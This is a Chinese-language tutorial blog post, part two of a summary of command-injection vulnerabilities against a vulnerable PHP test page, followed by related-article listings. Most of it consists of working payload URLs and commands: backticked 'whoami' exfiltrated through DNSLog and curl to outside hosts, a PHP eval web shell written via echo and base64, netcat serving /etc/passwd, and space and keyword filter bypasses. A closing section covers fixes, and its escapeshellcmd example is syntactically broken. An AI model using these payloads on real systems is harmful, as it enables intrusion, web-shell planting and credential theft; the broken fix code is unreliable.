命令执行漏洞小结(下)

简介: 命令执行漏洞小结

在实战中,很多时候不会直接回显,需要我们利用各种带外通信技巧

「DNSLog」

代码

<?php
$c=($_GET['a']);
$cmd=exec($c);
echo $cmd;
?>

「原理」

反撇号中的命令会自动执行并返回命令执行的结果拼接到命令里,linux里要加上-c参数指定次数

http://192.168.240.139/2.php?a=ping%20-c%201%20`whoami`.gtf9n4.dnslog.cn

640.png

image-20211216162452068

成功返回了whoami的信息

640.png

image-20211216162223074

「管道符」

在有写入的权限下,直接利用漏洞写入一句话

windows下

http://127.0.0.1/test/test.php?submit=test&ip=ping%20127.0.0.1%20||%20echo%20^%3C?php%20@eval($_POST[pass]);?^%3E%20%3E%20shell.php

640.png

image-20211216120749887

640.png

image-20211216120956086

linux下

echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== |base64 -d > shell.php

640.png

image-20211216145247683

640.png

image-20211216145302237

「NetCat」

如果目标系统有安装netcat,可以直接利用netcat将操作系统的输出重定向netcat监听的端口

nc –l –p {port} < {file/to/extract}    # nc -lp 9999 < /etc/passwd

当我们向目标系统注入了类似上面这样形式的命令时,我们就可以在我们自己的主机上利用netcat连接目标的监听端口,然后我们就可以得到想要的敏感信息了

http://192.168.240.139/2.php?a=ping%20-c%204%20www.baidu.com%20|%20nc%20-lp%209999%20%3C%20/etc/passwd

7132b7d127cd4920efcc59101624c9b9.png

image-20211216150933287

5370f63f9f8513eb89c2115ea12fc270.png

image-20211216150955542

如果目标系统是windows的话,我们需要稍微修改一下命令:

type {file to extract}  | nc -L -p {port}

「curl」

curl是用于使用各种协议传输数据的库和命令行工具,是用于数据渗透的非常有用的工具,如果易受攻击的服务器具有curl,可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件

用http请求的方式携带数据

curl-vlbjuaw.dnslog.cn/`whoami`

abfea9f039475c3a2dae064346163924.png

image-20211216160847554

df1a0de36b5c56a7aec69d422b5ad3bc.png

image-20211216160810570

注意:如果要使用ls命令擦好看当前目录文件,会发现只有一个请求,只能看到一个文件或者目录(换行、空格、!、$、&、?)等特殊字符无法通过DNSlog将数据带出来 ,将内容base64编码,然后输出

curl-vlbjuaw.dnslog.cn/`ls|base64`

304ef2a23a04d3cf2249540504f12ca2.png

image-20211216161601368

c0d20dd150df5a99ca6e5411a3f41705.png

image-20211216161615742

0x04命令执行绕过

1、绕过空格过滤

1.1${IFS}绕过

是的特殊环境变量是下的内部俞分隔符IFS中存储的值可以是空格 制表符 换行符或者其他自定义符号

<?php
$c=($_GET['a']);
$d=system($c);
echo $d;
?>

输入

http://192.168.240.139/2.php?a=cat${IFS}1.php${IFS}|${IFS}base64

返回1.php的base64加密后源码内容

a05e05af593f2cc81bad80524845724c.png

image-20211216163110410

9绕过

用法和${IFS}相似

制表符绕过

%09是制表符URL编码 可以通过%09代替空格绕过空格过滤

http://192.168.240.139/2.php?a=cat%091.php%09|%09base64

5edd4e3ea4115bac294c5c69ac638c68.png

image-20211216163337338

<绕过

http://192.168.240.139/2.php?a=cat%3C1.txt

ba284b19b78c04027cade6dff6f69151.png

image-20211216163641163

\绕过

http://192.168.240.139/2.php?a=c\a\t%091.txt   #例如 通过c\a\t绕过cat命令过滤

d2dedcc0b8e4f9077ed710836037a0cf.png

image-20211216163812556

通配符绕过

*代表0到多个字符
?代表一个任意字符
[]内为字符范围 代表字符范围内任意一个字符

如绕过  /etc/passwd (方法很多,自行尝试)

http://192.168.240.139/2.php?a=c\a\t%09/???/???sw?
http://192.168.240.139/2.php?a=c\a\t%09/*/passwd

44ca876d841581211e37442800ae59e6.png

image-20211216164049480

漏洞修复

1.禁用disable_functions中的敏感函数

2.函数过滤

escapeshellarg函数

escapeshellarg函数把字符串转码为可以在shell命令里使用的参数,以过滤命令中的参数

函数给字符串增加一个单引号,并且能引用或者转义任可已经存在的单引号,这样可以直接将一个字符串传入shell函数并确保他是安全的

修复举例:
<?php
$ip=$_GET['ip'] ;
system("ping -c 3".escapeshellarg($ip));    
?>

escapeshellcmd函数

可以对shell元字符进行转义 过滤命令

对字符串中可能欺骗shell的恶意命令字符转义 函数保证用户输入的数据在传送到system函数或执行操作符之前被转义函数会在字符间加入反斜线

修复举例
<?php
$ip=$_GET['ip'] ;
system(escapeshellcmd("ping -c 3")"ping -c 3".$ip);   
?>
相关文章
|
7月前
|
安全 NoSQL API
【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
486 1
|
7月前
|
Web App开发 安全 应用服务中间件
nginxWebUI 存在前台远程命令执行漏洞
nginxWebUI 存在前台远程命令执行漏洞,攻击者通过该漏洞获取服务器控制权限进而进一步获取敏感数据信息。
161 1
|
7月前
|
安全 Linux Windows
MS08-067 (CVE-2008-4250) 远程命令执行漏洞
本文为08年出现的漏洞进行复现,仅作为学习参考,切勿非法利用! MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize 函数时触发的,而NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
116 1
|
10月前
|
安全 数据安全/隐私保护
亿邮电子邮件系统远程命令执行漏洞 漏洞复现
亿邮电子邮件系统远程命令执行漏洞 漏洞复现
433 0
|
11月前
|
安全 Linux Windows
WEB漏洞-RCE代码及命令执行漏洞
WEB漏洞-RCE代码及命令执行漏洞
|
移动开发 监控 安全
|
自然语言处理 安全 Shell
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
456 0
|
安全 Linux API
Supervisord 远程命令执行漏洞(CVE-2017-11610)
Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。
262 0
Supervisord 远程命令执行漏洞(CVE-2017-11610)
|
安全 网络协议 Java
命令执行漏洞详细讲解
应用有时需要调用一些执行系统命令的函数,如PHP中的`system`、`exec`、`shell_exec`、`passthru`、`popen`、`proc_popen`等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
|
移动开发 安全 Oracle
Log4j2远程执行代码漏洞如何攻击? 又如何修复
Log4j2远程执行代码漏洞如何攻击? 又如何修复
701 0
Log4j2远程执行代码漏洞如何攻击? 又如何修复